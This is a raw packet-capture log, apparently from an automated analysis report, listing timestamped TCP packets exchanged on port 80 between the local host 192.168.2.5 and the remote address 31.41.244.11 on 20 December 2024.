Dec 20, 2024 02:11:28.919554949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.919610977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.920165062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.920214891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.920397997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.920459986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.920823097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.920885086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.920928955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.920972109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.921550035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.921596050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.921677113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.921729088 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.922220945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.922266960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.922312975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.922362089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.922929049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.922977924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.923039913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.923093081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.923607111 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.923655987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.923732042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.923788071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.924333096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.924387932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.924446106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.924499035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.925051928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.925101042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.925175905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.925239086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.925735950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.925790071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.925832033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.925882101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.926422119 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.926470995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.926568031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.926620960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.927107096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.927151918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.927227974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.927275896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.927815914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.927871943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.927915096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.927968979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.928524971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.928575993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.928618908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.928673029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.929260015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.929311037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.929313898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.929378986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.929939985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.929996014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.930156946 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.930206060 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.930603027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.930653095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.930725098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.930774927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.931301117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.931350946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.931442976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.931493998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.932003975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.932058096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.932065964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.932117939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.932735920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.932748079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.932801008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.932801008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.933407068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.933459044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.933495045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.933547020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.934091091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.934140921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.934235096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.934286118 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.934835911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.934889078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.934906006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.934963942 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.938216925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.938230038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.938242912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.938254118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.938271046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.938309908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.938309908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.938374043 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.938384056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.938394070 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.938405991 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.938430071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.938462019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.938483000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.938505888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.938544989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.938576937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.938971043 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.939026117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.939088106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.939152002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.940715075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.940783024 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.940916061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.940978050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.941632986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.941643953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.941689968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.942186117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.942240000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.942374945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.942385912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.942395926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.942430973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.942467928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.942918062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.942972898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.943097115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.943150997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.943651915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.943705082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.943836927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.943887949 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.944196939 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.944250107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.944574118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.944624901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.944971085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.945029974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.945164919 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.945215940 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.945723057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.945734978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.945771933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.946258068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.946310043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.946440935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.946491957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.947026968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.947082996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.947185040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.947232008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.947798967 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.947854996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.947961092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.948010921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.948564053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.948575974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.948632956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.948632956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.949151039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.949196100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.949301958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.949350119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.949956894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.950007915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.950109005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.950154066 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.950695992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.950706005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.950742960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.950742960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.951267004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.951328993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.951421976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.951467037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.952018023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.952061892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.952174902 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.952219963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.952666998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.952713966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.952828884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.952876091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.953460932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.953507900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.953597069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.953649044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.954111099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.954123974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.954166889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.954166889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.954864025 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.954879999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.954919100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.954919100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.955601931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.955612898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.955651999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.955651999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.111896992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.112047911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.112059116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.112068892 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.112123966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.112169027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.112663031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.112726927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.113027096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.113085032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.114404917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.114461899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.114562988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.114619970 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.115134001 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.115192890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.115283012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.115346909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.115895033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.115906954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.115958929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.116481066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.116535902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.116616964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.116676092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.116955996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.116967916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.116978884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.117036104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.117078066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.117141962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.117607117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.117618084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.117665052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.118354082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.118412971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.118693113 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.118752956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.119024038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.119040012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.119083881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.119083881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.119604111 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.119662046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.119757891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.119807959 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.120352983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.120418072 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.120515108 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.120572090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.121001959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.121062040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.121171951 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.121251106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.121732950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.121788979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.121898890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.121954918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.122351885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.122407913 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.122509956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.122567892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.123126984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.123179913 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.123275995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.123382092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.123889923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.123900890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.123955011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.124469995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.124526978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.124633074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.124689102 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.125271082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.125282049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.125339031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.125869989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.125927925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.126030922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.126094103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.126622915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.126687050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.126775980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.126833916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.127235889 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.127304077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.127394915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.127453089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.128001928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.128062010 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.128154039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.128205061 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.128740072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.128750086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.128788948 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.128823996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.129323006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.129378080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.129491091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.129544020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.130198002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.130218029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.130278111 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.130872965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.130883932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.130939960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.131509066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.131568909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.131692886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.131750107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.132229090 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.132287025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.132410049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.132467031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.134306908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.134363890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.135652065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.135710001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.137084961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.137094975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.137105942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.137115955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.137140036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.137142897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.137165070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.137173891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.137181044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.137223005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.139749050 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.139806986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.139904022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.139961958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.140467882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.140482903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.140492916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.140502930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.140527010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.140528917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.140542984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.140556097 CET	80	49875	31.41.244.11	192.168.2.5
